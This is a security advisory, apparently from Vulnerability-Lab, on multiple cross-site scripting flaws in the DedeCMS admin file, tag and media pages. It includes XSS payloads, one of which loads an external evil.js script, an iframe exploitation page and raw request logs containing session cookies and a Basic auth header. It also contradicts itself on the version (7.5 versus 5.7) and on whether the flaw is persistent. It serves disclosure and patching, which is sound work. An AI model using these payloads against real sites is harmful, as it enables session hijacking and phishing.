DedeCMS 7.5 SP2 Persistent Cross Site Scripting

DedeCMS version 7.5 SP2 suffers from multiple persistent cross site scripting vulnerabilities.


MD5 | cd386484581015658d08a7be59921b13

Document Title:
===============
DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2195


Release Date:
=============
2020-04-09


Vulnerability Laboratory ID (VL-ID):
====================================
2195


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Welcome to use the most professional PHP website content management
system in China-Zhimeng content management system,
he will be your first choice for easy website building. Adopt XML name
space style core templates: all templates are
saved in file form, which provides great convenience for users to design
templates and website upgrade transfers.
The robust template tags provide strong support for webmasters to DIY
their own websites. High-efficiency tag caching
mechanism: Allows the caching of similar tags. When generating HTML, it
helps to improve the reaction speed of the
system and reduce the resources consumed by the system.

(Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent cross site vulnerabilities in
the official DedeCMS v5.7 SP2 (UTF8) web-application.


Affected Product(s):
====================
DesDev Inc.
Product: DedeCMS - Content Management System v5.7 SP2


Vulnerability Disclosure Timeline:
==================================
2020-04-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple persistent cross site scripting vulnerabilities has been
discovered in the official DedeCMS v5.7 SP2 UTF8 web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent script code inject web vulnerabilities are located in the
`activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor`
and `CKEditorFuncNum`parameters of the `file_pic_view.php`,
`file_manage_view.php`, `tags_main.php`, `select_media.php`,
`media_main.php` files.
The attack vector of the vulnerability is non-persistent and the request
method to inject is POST. Successful exploitation of the vulnerability
results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation
of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable File(s):
[+] file_pic_view.php
[+] file_manage_view.php
[+] tags_main.php
[+] select_media.php
[+] media_main.php

Vulnerable Parameter(s):
[+] tag
[+] keyword
[+] activepath
[+] fmdo=move&filename & fmdo=edit&filename
[+] CKEditor & CKEditor=body&CKEditorFuncNum


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with
privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Request: Examples
https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%2Fuploads
https://test23.localhost:8080/dede/tags_main.php?tag=&orderby=total&orderway=desc
https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=2&langCode=en


PoC: Payload
".>"<img>"%20<img src=[Evil.Domain]/[Evil.Source].*
onload=alert(document.domain)>
>"%20<"<img="" src="https:/www.vulnerability-lab.com/gfx/logo-header.png
onload=alert(document.domain)">
>"><iframe src=evil.source onload=alert(document.domain)>
%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E
%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E
%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E


PoC: Exploitation
<title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title>
<iframe
src="https://test23.localhost:8080/dede/file_pic_view.php?activepath=%2Fuploads%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E">
<iframe
src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E&activepath=%2Fuploads">
<iframe
src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E">
<iframe
src="https://test23.localhost:8080/dede/tags_main.php?tag=pwnd&orderway=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E">
<iframe
src="https://test23.localhost:8080/dede/tags_main.php?tag=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E&orderby=1&orderway=">
<iframe
src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=>"><iframe
src=evil.source
onload=alert(document.domain)>body&CKEditorFuncNum=2&langCode=en">
<iframe
src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=>"><iframe
src=evil.source onload=alert(document.domain)>2&langCode=en">
...

--- PoC Session Logs [POST] --- (Some Examples ...)
https://test23.localhost:8080/dede/media_main.php
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: https://test23.localhost:8080
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://test23.localhost:8080/dede/media_main.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;
DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php
keyword=>"%20<<img
src=https://[Evil.Domain]/[Evil.Source].png>&mediatype=0&membertype=0&imageField.x=23&imageField.y=4
-
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
content-length: 1830
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
cache-control: private
set-cookie: ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php; expires=Mon,
06-Apr-2020 17:53:23 GMT; Max-Age=3600; path=/
vary: Accept-Encoding
content-encoding: gzip
x-powered-by: PHP/5.6.40, PleskLin
X-Firefox-Spdy: h2
---
https://test23.localhost:8080/dede/file_pic_view.php
?activepath=%2Fuploads%2F>"
<"<img+src%3Dhttps%3A%2F%2Fwww.vulnerability-lab.com%2Fgfx%2Flogo-header.png>&imageField.x=0&imageField.y=0
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer:
https://test23.localhost:8080/dede/file_pic_view.php?activepath=&imageField.x=0&imageField.y=0
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;
DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.6.40
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
cache-control: private
X-Firefox-Spdy: h2
---
https://test23.localhost:8080/include/dialog/select_media.php?
CKEditor=>"><iframe src=evil.source
onload=alert("1")>body&CKEditorFuncNum=>"><iframe src=evil.source
onload=alert("2")>2&langCode=en
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Cookie: PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1;
DedeUserID__ckMd5=936f42b01c3c7958;
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
ENV_GOBACK_URL=%2Fdede%2Ffeedback_main.php
Upgrade-Insecure-Requests: 1
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
content-length: 1137
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
pragma: no-cache
vary: Accept-Encoding
content-encoding: gzip
x-powered-by: PHP/5.6.40, PleskLin
X-Firefox-Spdy: h2


Reference(s):
https://test23.localhost:8080/dede/media_main.php
https://test23.localhost:8080/dede/tags_main.php
https://test23.localhost:8080/dede/file_pic_view.php
https://test23.localhost:8080/dede/file_manage_view.php
https://test23.localhost:8080/include/dialog/select_media.php


Solution - Fix & Patch:
=======================
1. Parse the content to disallow html / js and special chars on the
affected input fields
2. Restrict the vulnerable paramter prevent injects via post method request
3. Secure the output location were the content is insecure sanitized
delivered as output


Security Risk:
==============
The security risk of the application-side persistent cross site
scripting web vulnerabilities in the different modules are estimated as
medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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